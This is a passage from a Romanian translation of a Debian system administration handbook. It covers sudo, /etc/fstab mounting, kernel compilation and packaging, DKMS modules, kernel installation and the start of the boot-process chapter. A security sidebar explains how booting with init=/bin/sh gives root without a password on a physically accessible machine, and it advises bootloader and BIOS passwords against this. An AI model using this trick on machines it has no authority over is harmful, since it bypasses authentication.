MAI DEPARTE Contul de utilizator pe care îl folosim în mod normal, adică acela pe care îl creăm la instalarea sistemului de
Comanda sudo și importanța operare are privilegii suficiente pentru activitățile pe care le desfășurăm la calculator.
sa Există situații când e nevoie de privilegii Root, dar de cele mai multe ori sunt suficiente privilegiile utilizatorului
obișnuit. În Windows, echivalentul Root îl reprezintă grupul Administrators. În Linux și în toate sistemele de
operare de tip Unix există “din fabrică” un cont de utilizator numit su — sau root (radacina). SuperUser poate
face absolut orice, are libertate totală asupra sistemului de operare, și de aceea folosirea lui în activitățile de zi cu
zi nu este indicat din cauza riscurilor semnificative la care ne expunem. Ar fi de ajuns să tastăm o comandă
greșită și astfel să distrugem sistemul de operare.
În mod implicit, parola contului root este blocată în unele distribuții, ca Ubuntu. Asta înseamnă că nu avem cum
să ne autentificăm direct ca SuperUser și nici nu putem folosi comanda su pentru a deveni SuperUser sau root .
Oricum, din moment ce contul Root există fizic, este totuși posibil să rulăm programe cu privilegii Root. Aici își
face apariția comanda sudo . Ea permite utilizatorilor autentificați să ruleze anumite programe ca Root fără a fi
necesară cunoașterea parolei pentru contul Root.
Asta înseamnă că în Terminal putem scrie sudo în fața comenzilor către programele ale căror rulări necesită
privilegii de SuperUser. Când sudo ne solicită parola, se referă la cea de utilizator (cea pe care am stabilit-o la
instalarea sistemului de operare) și nu parola pentru contul Root, care este blocată.
Multi utilizatori de Linux, deși sunt începători în acest domeniu, dorind să scape de obligația de a introduce
parola de fiecare dată când se cer privilegii Root, activează contul root ,
autentificându-se ca Root și modificând sistemul de permisiuni al fișierelor.
➨ https://help.ubuntu.com/community/RootSudo

În cel mai frecvent caz de utilizare, sudo permite unui utilizator de încredere să execute orice comandă ca
root. Pentru a face acest lucru, utilizatorul, pur și simplu execută sudo command și se autentifică folosind
parola personală.

152
Când este instalat, pachetul sudo dă drepturi complete pentru membrii grupului Unix sudo. Pentru a delega
alte drepturi, administratorul trebuie să utilizeze comanda visudo, care le permite să modifice fișierul de
configurare /etc/sudoers (aici din nou, aceasta va invoca editorul vi sau orice alt editor indicat în
variabila de mediu EDITOR). Adăugarea unei linii cu nume de utilizator username ALL=(ALL) ALL
permite utilizatorului în cauză să execute orice comandă ca root.
Configurații mai sofisticate permit autorizarea numai pentru anumite utilizatori de comenzi. Toate detaliile
diverselor posibilități sunt oferite în pagina de manual sudoers(5).

8.9.5. Lista punctelor de montare

NOȚIUNI DE BAZĂ Într-un sistem asemănător Unix, cum ar fi Debian, fișierele sunt organizate într-o singură ierarhie de directoare
Montarea și demontarea asemănătoare arborelui. Directorul / se numește “directorul rădăcină”; toate directoarele suplimentare sunt
subdirectoare din această rădăcină. “Montarea” este acțiunea de a include conținutul unui dispozitiv periferic
(adesea un hard disk) în arborele de fișiere generale ale sistemului. În consecință, dacă utilizați un hard disk
separat pentru a stoca datele personale ale utilizatorilor, acest disc va trebui să fie “montat” în directorul
/home/. Sistemul de fișiere rădăcină este întotdeauna montat la boot de kernel; alte dispozitive sunt adesea
montate mai târziu în timpul secvenței de pornire sau manual cu comanda mount.
Unele dispozitive detașabile sunt montate automat atunci când sunt conectate, în special
atunci când utilizați GNOME, Plasma sau alte medii grafice pentru desktop. Altele trebuie să fie montate
manual de către utilizator. De asemenea, acestea trebuie demontate (eliminate din arborele de fișiere).
Utilizatorii normali nu au de obicei permisiunea de a executa comenzile mount și umount. Administratorul
poate, totuși, să autorizeze aceste operațiuni (independent pentru fiecare punct de montaj) prin includerea
opțiunii utilizator în fișierul /etc/fstab.
Comanda mount poate fi utilizată fără argumente pentru a lista toate sistemele de fișiere montate). Puteți
executa findmnt --fstab pentru a afișa doar sistemele de fișiere din /etc/fstab. Următorii parametri
sunt necesari pentru a monta sau demonta un dispozitiv. Pentru lista completă, vă rugăm să consultați paginile de
manual corespunzătoare, mount(8) și umount(8). Pentru cazuri simple, sintaxa este și simplă: de exemplu, pentru
a monta partiția /dev/sdc1 , care are un sistem de fișiere ext3, în directorul /mnt/tmp/ , pur și simplu rulați
mount -t ext3 /dev/sdc1/mnt/tmp/.

Fișierul /etc/fstab oferă o listă a tuturor montărilor posibile care se întâmplă fie automat la pornire, fie
manual pentru dispozitivele de stocare amovibile. Fiecare punct de montare este descris de o linie cu mai
multe câmpuri separate în spațiu:
• file system: acest lucru indică unde poate fi găsit sistemul de fișiere care va fi montat, acesta poate fi
o partiție locală (hard disk, CD-ROM) sau un sistem de fișiere la distanță (cum ar fi NFS).
Acest câmp este înlocuit frecvent cu ID-ul unic al sistemului de fișiere (pe care îl puteți determina cu
blkid device) prefixat cu UUID=. Acest lucru protejează împotriva modificării numelui
dispozitivului în cazul adăugării sau eliminării discurilor sau dacă discurile sunt detectate într-o
ordine diferită.
• punct de montare: aceasta este locația pe sistemul de fișiere local unde va fi montat dispozitivul,
sistemul de la distanță sau partiția.
• tip: acest câmp definește sistemul de fișiere utilizat pe dispozitivul montat. ext4, ext3, vfat, ntfs,
btrfs, xfs sunt câteva exemple.

NOȚIUNI DE BAZĂ NFS este un sistem de fișiere de rețea; în Linux permite accesul transparent la fișierele la distanță,
NFS, un sistem de fișiere de incluzându-le în sistemul de fișiere local.
rețea

O listă completă de sisteme de fișiere cunoscute este disponibilă în pagina de manual mount(8). Valoarea
specială swap este pentru partițiile swap; valoarea specială auto spune programului mount să detecteze
automat sistemul de fișiere (care este util în special pentru cititoarele de disc și tastaturile USB, deoarece
fiecare ar putea avea un sistem de fișiere diferit);
• options: există multe opțiuni, în funcție de sistemul de fișiere și sunt documentate în pagina de
manual mount. Cele mai frecvente sunt:
- rw sau ro, ceea ce înseamnă că dispozitivul va fi montat cu permisiuni de citire/scriere sau
numai în citire.
- noaut o dezactivează montarea automată la boot.
- nofail permite pornirea pornind chiar și atunci când dispozitivul nu este prezent. Asigurați-vă
că puneți această opțiune pentru unitățile externe care ar putea fi deconectate la pornire,
deoarece systemd se asigură cu adevărat că toate punctele de montaj care trebuie montate
automat sunt montate efectiv înainte de a lăsa procesul de pornire să se termine. Rețineți că

153
 puteți combina acest lucru cu x-systemd.device-timeout=5s pentru a-i spune lui systemd
să nu aștepte mai mult de 5 secunde pentru ca dispozitivul să apară (vezi systemd.mount(5).
- user autorizează toți utilizatorii să monteze acest sistem de fișiere (operație care altfel ar fi
restricționată la utilizatorul rădăcină).
- defaults înseamnă grupul opțiunilor implicite: rw, suid, dev, exec, auto, nouser și
async, fiecare dintre ele putând fi dezactivat individual după defaults prin adăugarea
nosuid, nodev și așa mai departe pentru a bloca suid, dev, ș.a.m.d. Adăugarea opțiunii
utilizator îl reactivează, deoarece defaults includ nouser.
• dump: acest câmp este aproape întotdeauna setat pe 0. Când este 1, spune instrumentului
dump că partiția conține date care urmează să fie salvate.
• pass: acest ultim câmp indică dacă integritatea sistemului de fișiere ar trebui verificată la pornire
și în ce ordine ar trebui să fie executată această verificare. Dacă este 0, nu se efectuează nicio
verificare. Sistemul de fișiere rădăcină ar trebui să aibă valoarea 1, în timp ce alte sisteme de
fișiere permanente obțin valoarea 2.

Exemplul 8.6 Exemplu de fișier /etc/fstab

# /etc/fstab: static file system information.

#
# <file system> <mount point> <type> <options> <dump> <pass>
proc /proc proc defaults 0 0
# / was on /dev/sda1 during installation
UUID=c964222e-6af1-4985-be04-19d7c764d0a7 / ext3 errors=remount-ro 0 1
# swap was on /dev/sda5 during installation
UUID=ee880013-0f63-4251-b5c6-b771f53bd90e none swap sw 0 0
/dev/scd0 /media/cdrom0 udf,iso9660 user,noauto 0 0
/dev/fd0 /media/floppy auto rw,user,noauto 0 0
arrakis:/shared /shared nfs defaults 0 0

Ultima intrare din acest exemplu corespunde unui network filesystem (NFS): directorul /shared/ de pe
arrakis server este montat pe /shared/, pe mașina locală. Formatul fișierului /etc/fstab este documentat
în pagina de manual fstab(5).

ÎN DETALIU systemd este capabil să gestioneze punctele de montare automate: sunt sisteme de fișiere care sunt montate la
Auto-montarea cerere atunci când un utilizator încearcă să acceseze punctele sale țintă de montare. De asemenea, poate demonta
aceste sisteme de fișiere atunci când niciun proces nu le mai accesează.
La fel ca majoritatea conceptelor din systemd, punctele de montare automate sunt gestionate cu unități dedicate
(folosind sufixul .automount). Consultați systemd.automount(5) pentru sintaxa lor precisă.
Există și alte utilitare de montare automată, cum ar fi automount în pachetul autofs sau amd în pachetul am-
utils.
Rețineți, de asemenea, că GNOME, Plasma și alte medii desktop grafice funcționează împreună cu udisks și pot
monta automat suporturi amovibile atunci când sunt conectate.

8.9.6. locate și updatedb

Comanda locate poate găsi locația unui fișier atunci când cunoașteți doar o parte din nume. Acesta trimite
un rezultat aproape instantaneu, deoarece consultă o bază de date care stochează locația tuturor fișierelor
din sistem; această bază de date este actualizată zilnic prin comanda updatedb. Există multiple
implementări ale comenzii locate și Debian a ales mlocate pentru sistemul său standard.
mlocate este suficient de inteligent pentru a returna doar fișierele accesibile utilizatorului care rulează
comanda, chiar dacă folosește o bază de date care cunoaște toate fișierele din sistem (de la implementarea
sa updatedb rulează cu drepturi de root). Pentru un plus de siguranță, administratorul poate utiliza
PRUNEDPATHS în /etc/updatedb.conf pentru a exclude anumite directoare de la indexare.

8.10. Compilarea unui kernel

Nucleele furnizate de Debian includ cel mai mare număr posibil de funcții, precum și maximum de driver-e,
pentru a acoperi cel mai larg spectru de configurații hardware existente. Acesta este motivul pentru care unii
utilizatori preferă să recompileze nucleul pentru a include doar ceea ce au nevoie în mod specific. Există
două motive pentru această alegere. În primul rând, poate fi optimizarea consumului de memorie, deoarece

154
codul nucleului, chiar dacă nu este niciodată utilizat, ocupă degeaba memoria (și nu “coboară” niciodată în
spațiul swap, deoarece memoria RAM este cea pe care o folosește), care poate scade performanța generală
a sistemului. Un kernel compilat local poate, de asemenea, să limiteze riscul problemelor de securitate,
deoarece doar o fracțiune din codul de nucleu este compilat și executat.

REȚINEȚI Dacă alegeți să vă compilați propriul kernel, trebuie să acceptați consecințele: Debian nu poate asigura
Actualizări de securitate actualizări de securitate pentru nucleul dvs. personalizat. Păstrând nucleul furnizat de Debian, beneficiați de
actualizări pregătite de echipa de securitate a proiectului Debian.

Recompilarea nucleului este, de asemenea, necesară dacă doriți să utilizați anumite caracteristici care sunt
disponibile doar ca patch-uri (și care nu sunt incluse în versiunea standard a kernel-ului).

ÎN DETALIU Echipele de kernel Debian păstrează “Debian Kernel Handbook” (disponibil și în pachetul debian-kernel-
The Debian Kernel Handbook handbook) cu documentație completă despre majoritatea sarcinilor legate de kernel și despre modul cum sunt
gestionate pachetele oficiale de nucleu Debian. Acesta este primul loc în care ar trebui să vă uitați dacă aveți
nevoie de mai multe informații decât cele furnizate în această secțiune.
➨ https://kernel-team.pages.debian.net/kernel-handbook/

8.10.1. Introducere și cerințe preliminare

Debian gestionează nucleul sub forma unui pachet, cum e și normal,ceea ce nu este modul în care s-au
compilat și instalat în mod tradițional kernel-urile. Din moment ce nucleul rămâne sub controlul sistemului de
împachetare, acesta poate fi îndepărtat curat sau dispuse pe mai multe mașini. Mai mult, scripturile din
amonte asociate acestor pachete automatizează interacțiunea cu bootloader-ul și cu generatorul initrd.
Sursele Linux upstream conțin tot ce este necesar pentru a construi un pachet Debian al nucleului. Dar mai
trebuie să instalați build-essential pentru a vă asigura că aveți instrumentele necesare pentru a construi un
pachet Debian. Mai mult, etapa de configurare pentru kernel necesită pachetul libncurses5-dev. În cele din
urmă, pachetul fakeroot va permite crearea pachetului Debian fără a utiliza drepturile administratorului.

CULTURĂ Înainte ca sistemul de construire Linux să obțină capacitatea de a construi pachete Debian adecvate, modul
Vremurile bune ale kernel- recomandat de a construi astfel de pachete a fost să folosească make-kpkg din pachetul kernel-package.
package

8.10.2. Obținerea surselor

Ca orice lucru care poate fi util pe un sistem Debian, sursele nucleului Linux sunt disponibile într-un pachet.
Pentru a le prelua, trebuie doar să instalați pachetul linux-source-version. Comanda apt search ^linux-
source listează diferitele versiuni de kernel împachetate de Debian. Cea mai recentă versiune este
disponibilă în distribuția Unstable: le puteți prelua fără prea mult risc (mai ales dacă APT-ul dvs. este
configurat conform instrucțiunilor secțiunii 6.2.6. “Lucrul cu mai multe distribuții” pagina 107). Rețineți, codul sursă
conținut în aceste pachete nu corespunde exact cu cel publicat de Linus Torvalds și dezvoltatorii kernel-ului;
ca toate distribuțiile, Debian aplică o serie de patch-uri, care ar putea (sau nu) să își găsească loc în
versiunea Linux din amonte. Aceste modificări includ backports de corecții/caracteristici/drivere din versiunile
mai noi ale kernel-ului, funcții noi care nu s-au îmbinat încă (în totalitate) în arborele Linux din amonte și,
uneori, chiar modificări specifice ale Debian.
Restul acestei secțiuni se concentrează pe versiunea 4.19 a nucleului Linux, dar exemplele pot fi, desigur,
adaptate la versiunea particulară a kernel-ului dorit.
Presupunem că pachetul linux-source-4.19 a fost instalat. Conține /usr/src/linux-source-
4.9.tar.xz, o arhivă comprimată a surselor nucleului. Trebuie să extrageți aceste fișiere într-un nou
director (nu direct în /usr/src/, deoarece nu este nevoie de permisiuni speciale pentru a compila un kernel
Linux): ~/kernel/ este adecvat.

$ mkdir ~/kernel; cd ~/kernel

$ tar -xaf /usr/src/linux-source-4.9.tar.xz

CULTURĂ Tradițional, sursele nucleului Linux ar fi plasate în /usr/src/linux/, necesitând astfel permisiuni root
Locația surselor de nucleu pentru compilare. Cu toate acestea, lucrul cu drepturile de administrator ar trebui evitat atunci când nu este
necesar.

155
 Există un grup src care permite membrilor să lucreze în acest director, dar lucrul în /usr/src/ ar trebui
totuși evitat. Păstrând sursele kernel-ului într-un director personal, obțineți securitate pentru toate conturile: nu
există fișiere din /usr/ necunoscute sistemului de împachetare și niciun risc de a induce în eroare programe
care citesc /usr/src/linux când încercați să strângeți informații despre nucleul folosit.

8.10.3. Configurarea nucleului

Următorul pas constă în configurarea nucleului în funcție de nevoile dvs. Procedura exactă depinde de
obiective.
Când recompilați o versiune mai recentă a kernel-ului (posibil cu un patch suplimentar), configurația va fi
păstrată cât mai aproape de cea propusă de Debian. În acest caz, și în loc să reconfigurați totul de la zero,
este suficient să copiați fișierul /boot/config-version (versiunea este cea a nucleului folosit în prezent,
care poate fi găsit cu comanda uname -r într-un fișier .config din directorul care conține sursele kernel-
ului.

$ cp /boot/config-4.19.0-5-amd64 ~/kernel/linux-source-4.19/.config

Cu excepția cazului în care trebuie să schimbați configurația, vă puteți opri aici și să săriți la secțiunea
8.10.4. “Compilarea și construirea pachetului” pagina 156. Dacă trebuie să o schimbați, pe de altă parte, sau dacă
decideți să reconfigurați totul de la zero, trebuie să vă alocați timp pentru a configura nucleul. Există diverse
interfețe dedicate în directorul sursă al kernel-ului, care poate fi utilizat apelând comanda make target,
unde target este una dintre valorile descrise de mai jos.
make menuconfig compilează și execută o interfață în modul text (aici este necesar pachetul libncurses5-
dev) care permite navigarea opțiunilor disponibile în o structură ierarhică. Apăsarea tastei Space modifică
valoarea opțiunii selectate, iar Enter validează butonul selectat în partea de jos a ecranului; Select revine
la submeniul selectat; Exit închide ecranul curent și se mută înapoi în ierarhie; Help va afișa informații mai
detaliate despre rolul opțiunii selectate. Tastele săgeată permit deplasarea în lista de opțiuni și butoane.
Pentru a ieși din programul de configurare, alegeți Exit din meniul principal. Programul se oferă apoi să
salveze modificările pe care le-ați făcut; acceptați dacă sunteți mulțumit de alegerile făcute.
Alte interfețe au caracteristici similare, dar funcționează în cadrul interfețelor grafice mai moderne; precum
make xconfig care folosește o interfață grafică Qt și make gconfig care folosește GTK+. Primul cere
libqt4-dev, în timp ce acesta din urmă depinde de libglade2-dev și libgtk2.0-dev.
Când utilizați una dintre acele interfețe de configurare, este întotdeauna o idee bună să porniți de la o
configurație implicită rezonabilă. Nucleul oferă astfel de configurații în
arch/arch/configs/*_defconfig și puteți pune configurația selectată în loc cu o comandă de genul
make x86_64_defconfig (în cazul unui computer pe 64-bit) sau make i386_defconfig (în cazul unui
PC pe 32-bit).

SFAT Când furnizați un fișier .config care a fost generat cu o altă versiune de kernel (de obicei mai veche), va
Administrarea fișierelor trebui să o actualizați. Puteți face acest lucru cu make oldconfig, acesta vă va pune în mod interactiv
învechite .config întrebările corespunzătoare noilor opțiuni de configurare. Dacă doriți să utilizați răspunsul implicit la toate acele
întrebări, puteți utiliza make olddefconfig. Cu make oldnoconfig, va presupune un răspuns negativ
la toate întrebările.

8.10.4. Compilarea și construirea pachetului

REȚINEȚI Dacă ați compilat deja o dată în director și doriți să reconstruiți totul de la zero (de exemplu, deoarece ați
Faceți curățenie înainte de modificat în mod substanțial configurația kernel-ului), va trebui să rulați make clean pentru a elimina
reconstruire fișierele compilate. make distclean elimină și mai multe fișiere generate, inclusiv fișierul dvs. .config,
deci asigurați-vă că îl faceți mai întâi copie de rezervă. make distclean elimină și mai multe fișiere
generate, inclusiv fișierul dvs. .config, așa că asigurați-vă mai întâi că faceți backup. Dacă ați copiat configurația
din /boot/, trebuie să schimbați opțiunea cheilor de încredere a sistemului, cu condiția ca un șir gol să fie
suficient: CONFIG_SYSTEM_TRUSTED_KEYS= "".

Odată ce configurația nucleului este gata, un simplu make deb-pkg va genera până la 5 pachete Debian:
linux-image-version care conține imaginea nucleului și modulele asociate, linux-headers-version care conține
fișierele antet necesare pentru a construi module externe, linux-firmware-image-version care conține fișierele
de firmware necesare pentru unele drivere (acest pachet ar putea să lipsească atunci când construiți din

156
sursele de kernel furnizate de Debian), linux-image-version-dbg care conține simbolurile de depanare pentru
imaginea kernel-ului și modulele sale și linux-libc-dev care conține anteturi relevante pentru unele biblioteci în
spațiul utilizatorului, precum GNU glibc.
Versiunea este definită prin concatenarea upstream version (așa cum este definită de variabilele VERSION,
PATCHLEVEL, SUBLEVEL și EXTRAVERSION în Makefile), al parametrului de configurare LOCALVERSION
și al variabilei de mediu LOCALVERSION. Versiunea pachetului reutilizează același șir de versiune cu o
revizuire anexată care este în mod regulat incrementată (și stocată în .version), cu excepția cazului în
care o înlocuiți cu variabila de mediu KDEB_PKGVERSION.

$ make deb-pkg LOCALVERSION=-scoalagenerala KDEB_PKGVERSION=$(make kernelversion)-1

[...]
$ ls ../*.deb
../linux-headers-4.19.37-scoalagenerala_4.19.37-1_amd64.deb
../linux-image-4.19.37-scoalagenerala_4.19.37-1_amd64.deb
../linux-libc-dev_4.19.37-1_amd64.deb

8.10.5. Compilarea modulelor externe

Unele module sunt menținute în afara nucleului oficial Linux. Pentru a le folosi, ele trebuie compilate alături
de nucleul potrivit. Un număr de module terțe comune sunt furnizate de Debian în pachete dedicate, cum ar
fi vpb-driver-source (module suplimentare pentru Voicetronix telefony hardware) sau leds-alix-source (driver
PCEngines ALIX 2/3 boards).
Aceste pachete externe sunt multe și variate, comanda apt-cache rdepends module-assistant$
poate afișa lista furnizată de Debian. Cu toate acestea, o listă completă nu este utilă, în mod deosebit,
deoarece nu există niciun motiv special pentru compilarea modulelor externe, cu excepția cazului în care știți
că aveți nevoie. În astfel de cazuri, documentația dispozitivului va detalia, de obicei, modulul (modulele)
specifice de care trebuie să funcționeze în Linux.
De exemplu, să analizăm pachetul dahdi-source: după instalare, un .tar.bz2 al surselor modulului este
stocat în /usr/src/. În timp ce am putea extrage tarball manual, și construi modulul, în practică preferăm
să automatizăm toate acestea folosind DKMS. Majoritatea modulelor oferă integrarea DKMS necesară într-
un pachet care se încheie cu un sufix -dkms. În cazul nostru, instalarea dahdi-dkms este tot ce este
necesar pentru a compila modulul de kernel pentru nucleul curent, cu condiția ca pachetul linux-headers-*să
se potrivească cu nucleul instalat. De exemplu, dacă folosiți linux-image-amd64, de asemenea, instalați linux-
headers-amd64.

$ sudo apt install dahdi-dkms

[...]
Setting up xtables-addons-dkms (2.12-0.1) ...
Loading new xtables-addons-2.12 DKMS files...
Building for 4.19.0-5-amd64
Building initial module for 4.19.0-5-amd64
Done.

dahdi_dummy.ko:
Running module version sanity check.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/4.19.0-5-amd64/updates/dkms/
[...]
DKMS: install completed.
$ sudo dkms status
dahdi, DEB_VERSION, 4.19.0-5-amd64, x86_64: installed
$ sudo modinfo dahdi_dummy
filename: /lib/modules/4.19.0-5-amd64/updates/dkms/dahdi_dummy.ko
license: GPL v2
author: Robert Pleh <robert.pleh@hermes.si>
description: Timing-Only Driver
[...]

ALTERNATIVĂ Înainte de DKMS, module-assistant a fost cea mai simplă soluție pentru a construi și a implementa module de
module-assistant kernel. Acesta poate fi folosit în continuare, în special pentru pachetele care nu au integrare DKMS: cu o
comandă simplă;

157
 cum ar fi module-assistant auto-install dahdi (sau m-a a-i dahdi pe scurt), modulele sunt
compilate pentru nucleul curent, introduse într-un nou pachet Debian și pachetul respectiv este instalat din mers.

8.10.6. Aplicarea unui kernel patch

Unele caracteristici nu sunt incluse în nucleul standard din cauza lipsei de maturitate sau a unui anumit
dezacord cu întreținătorii nucleului. Astfel de caracteristici pot fi distribuite ca patch-uri pe care oricine este
apoi liber să le aplice surselor nucleului.
Debian oferă unele dintre aceste patch-uri în pachetele linux-patch-* care adesea nu o fac în versiunile stabile
(și uneori nici în official upstream kernel). Aceste pachete instalează fișiere în directorul /usr/src/kernel-
patches/.
Pentru a aplica unul sau mai multe dintre aceste petice instalate, utilizați comanda patch în directorul
surse, apoi porniți compilarea kernel-ului așa cum este descrisă mai sus.

$ cd ~/kernel/linux-source-4.9
$ make clean
$ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.1-4.9.11-201702181444.patch.gz | patch
-p1

Rețineți că un petic dat nu poate funcționa neapărat cu fiecare versiune a nucleului; este posibil ca patch-ul
să eșueze atunci când le aplicați surselor de kernel. Va fi afișat un mesaj de eroare și va oferi câteva detalii
despre eșec; în acest caz, consultați documentația disponibilă în pachetul Debian al patch-ului (în directorul /
usr/share/doc/linux-patch -*/). În cele mai multe cazuri, întreținătorul indică pentru ce versiuni de
kernel este destinat peticul lor.

8.11. Instalarea unui nucleu

8.11.1. Caracteristicile unui pachet de kernel Debian
Un pachet de kernel Debian instalează imaginea kernel (vmlinuz-version), configurația sa (config-
version) și tabelul său de simboluri (System.map-version) în /boot/. Modulele sunt instalate în
directorul /lib/modules/.
Scripturile de configurare ale pachetului generează automat o imagine initrd, care este un mini-sistem
conceput pentru a fi încărcat în memorie (de aici și numele, care înseamnă “init ramdisk”) de către bootloader
și folosit de kernel-ul Linux doar pentru încărcarea modulelor necesare pentru a accesa dispozitivele care
conțin sistemul complet Debian (de exemplu, driverul pentru discurile SATA). În cele din urmă, scripturile
post-instalare actualizează legăturile simbolice /vmlinuz, /vmlinuz.old, /initrd.img și
/initrd.img.old, astfel încât acestea să indice cele mai recente două nuclee instalate, precum și
imaginile initrd corespunzătoare.

CULTURĂ Tabelul de simboluri îi ajută pe dezvoltatori să înțeleagă semnificația unui mesaj de eroare al nucleului; fără el,
The symbols table kernel “oopses” (un “oops” este echivalentul kernel al unei defecțiuni de segmentare pentru programele user-
space, cu alte cuvinte mesajele generate în urma unei dereferențe nevalide a indicatorului) conțin doar adrese de
memorie numerică, ceea ce reprezintă informații inutile fără tabelul mapării acestor adrese la simboluri și nume
de funcții.

Cele mai multe dintre aceste sarcini sunt descărcate pentru a scrie scripturi în directoarele
/etc/kernel/*.d/. De exemplu, integrarea cu grub se bazează pe /etc/kernel/postinst.d/zz-
update-grub și /etc/kernel/postrm.d/zz-update-grub pentru a apela update-grub atunci când
nucleele sunt instalate sau eliminate.

8.11.2. Instalarea cu dpkg

Utilizarea apt este atât de convenabilă încât veți uita cu ușurință de instrumentele de nivel inferior, dar cel
mai simplu mod de instalare a unui nucleu compilat este să utilizați o comandă ca dpkg -i package.deb,
unde package.deb este numele unui pachet linux-image cum ar fi linux-image-4.9.30-ckt4-
scoalagenerala_1_amd64.deb.

158
Etapele de configurare descrise în acest capitol sunt de bază și pot conduce atât la un sistem server, cât și la
o stație de lucru, putând fi duplicate masiv în moduri semi-automatizate. Cu toate acestea, nu este suficient
în sine să ofere un sistem complet configurat. Câteva piese au încă nevoie de configurare, începând cu
programe la nivel scăzut cunoscute sub numele de “servicii Unix”.

159
160
 Repere

System boot
Initscripts
SSH
Telnet
Drepturi
Permisiuni
Supraveghere
Inetd
Cron
Backup
Hotplug
PCMCIA
APM
ACPI

161
Capitolul 9

9. Serviciile Unix
Conţinut
Inițializarea sistemului 163 Autentificare la distanță 169 Gestionarea drepturilor 185
Interfețe de administrare 175 Evenimente de sistem: syslog 177
inet dsuper-server 178 Planificarea sarcinilor cu cron și atd 179
Planificarea sarcinilor asincrone: anacron 181 Cote-părți 182 Copie de rezervă 182
Cuplare la cald: hotplug 185 Gestionarea energiei: configurarea avansată și interfața de alimentare (ACPI) 187

Acest capitol acoperă o serie de servicii de bază care sunt comune pentru multe sisteme Unix. Toți
administratorii ar trebui să fie familiarizați cu ele.

162
9.1. System boot
Când porniți computerul, numeroasele mesaje derulate de pe consolă afișează multe inițializări și configurații
automate care se execută. Uneori poate doriți să modificați ușor modul în care funcționează această etapă,
ceea ce înseamnă că trebuie să o înțelegeți bine. Acesta este scopul acestei secțiuni.
În primul rând, BIOS preia controlul computerului, detectează discurile, încarcă Master Boot Record și execută
bootloader-ul. Bootloader-ul preia conducerea, găsește nucleul pe disc, îl încarcă și îl execută. Nucleul este
apoi inițializat și începe să caute și să monteze partiția care conține sistemul de fișiere rădăcină și, în final,
execută primul program — init. Frecvent, această “partiție rădăcină” și acest init sunt, de fapt, localizate
într-un sistem de fișiere virtuale care există doar în RAM (de unde și numele său, “initramfs”, numit anterior
“initrd” pentru “initialization RAM disk”). Acest sistem de fișiere este încărcat în memorie de către bootloader,
adesea dintr-un fișier de pe un hard disk sau din rețea. Conține minimul cerut de kernel pentru a încărca
“adevăratul” sistem de fișiere rădăcină: acestea pot fi module de driver pentru hard disk sau alte dispozitive
fără de care sistemul nu poate porni sau, mai frecvent, scripturi de inițializare și module pentru asamblarea
matricilor RAID, deschiderea partițiilor criptate, activarea volumelor LVM, etc. Odată ce partiția rădăcină este
montată, “initramfs” predă controlul adevăratului init și mașina revine la procesul de pornire standard.

9.1.1. Sistemul systemd init

“Inițializare reală — real init” este oferită în prezent de systemd iar această secțiune documentează acest init
system.

CULTURĂ systemd este un “sistem init” relativ recent și deși era deja disponibil, într-o anumită măsură, în Wheezy, a
Înainte de systemd devenit implicit doar în Debian Jessie. Versiunile anterioare s-au bazat, în mod implicit, pe “System V init” (în
pachetul sysv-rc), un sistem mult mai tradițional. Mai târziu vom descrie System V init.

ALTERNATIVĂ Această carte descrie sistemul de pornire folosit în mod implicit în Debian Jessie (așa cum este implementat de
Alte sisteme de pornire pachetul systemd), la fel ca și cel implicit anterior, sysvinit, care este derivat și moștenit de la Sistemele Unix
System V; mai sunt și altele.
file-rc este un sistem de boot cu un proces foarte simplu. Păstrează principiul runlevels (niveluri de execuție),
dar înlocuiește directoarele și legăturile simbolice cu un fișier de configurare, care indică init procesele care
trebuie pornite și ordinea de lansare a acestora.
Sistemul upstart încă nu este perfect testat pe Debian. Este bazat pe evenimente: scripturile init nu mai sunt
executate în ordine secvențială, ci ca răspuns la evenimente precum completarea unui alt script de care sunt
dependente. Acest sistem, început de Ubuntu, este prezent în Debian Jessie, dar nu este implicit; de fapt, acesta
vine ca un înlocuitor pentru sysvinit, iar una dintre sarcinile lansate de upstart este lansarea scripturilor scrise
pentru sistemele tradiționale, în special cele din pachetul sysv-rc.
Mai sunt și alte sisteme și alte moduri de operare, cum ar fi runit sau minit, dar acestea sunt relativ
specializate și nu sunt răspândite.

163
 Figura 9.1 Secvență de pornire a unui computer care rulează Linux cu systemd

CAZ PARTICULAR În unele configurații, BIOS-ul poate fi configurat nu pentru a executa MBR, ci pentru a căuta echivalentul său în
Pornirea din rețea rețea, făcând posibilă construirea de computere fără hard disk sau care sunt reinstalate complet pe fiecare boot.
Această opțiune nu este disponibilă pe întregul hardware și necesită, în general, o combinație adecvată de BIOS
și placă de rețea.
Pornirea din rețea poate fi folosită pentru a lansa debian-installer sau FAI (consultați secțiunea
4.1. “Metode de instalare” pagina 58).

NOȚIUNI DE BAZĂ Un proces este o reprezentare în memorie unui program care rulează. Acesta include toate informațiile necesare
Procesul, o instanță de pentru executarea corectă a software-ului (codul în sine, dar și datele pe care le are în memorie, lista de fișiere pe
program care le-a deschis, conexiunile de rețea pe care le-a stabilit etc.). Un singur program poate fi inițiat în mai multe
procese, nefuncționând în mod necesar sub diferite ID-uri de utilizator.

SECURITATE Prin convenție, primul proces pornit este programul init (care este o legătură simbolică implicită la
Utilizarea unui shell ca init /lib/systemd/systemd). Cu toate acestea, este posibil să treceți o opțiune init la kernel care indică un
pentru a obține drepturi root program diferit.
Orice persoană care poate accesa computerul poate apăsa butonul Reset, și astfel îl poate reporni. Apoi, la
solicitarea bootloader-ului, este posibil să treceți opțiunea init=/bin/sh la kernel pentru a obține acces root
fără să știți parola administratorului.
Pentru a preveni acest lucru, puteți proteja bootloader-ul în sine cu o parolă. De asemenea, s-ar putea să vă
gândiți la protejarea accesului la BIOS (un mecanism de protecție a parolei este aproape întotdeauna disponibil),
fără de care un intrus dăunător ar putea încă să pornească mașina pe un suport amovibil care conține propriul
sistem Linux, pe care ar putea apoi să îl folosească pentru a accesa date la hard disk-urile calculatorului.
În cele din urmă, să fiți atenți că majoritatea BIOS-ului au o parolă generică disponibilă. Inițial destinate
depanării problemelor pentru cei care și-au uitat parola, aceste parole sunt acum publice și disponibile pe
Internet (consultați-vă singuri căutând “parolele generice ale BIOS” într-un motor de căutare). Toate aceste
protecții vor împiedica astfel accesul neautorizat la mașină fără a putea să-l împiedice complet. Nu există o
modalitate fiabilă de a proteja un computer dacă atacatorul îl poate accesa fizic; el ar putea oricum să demonteze
hard disk-urile pentru a le conecta la un computer sub control propriu, sau chiar să fure întreaga mașină sau a
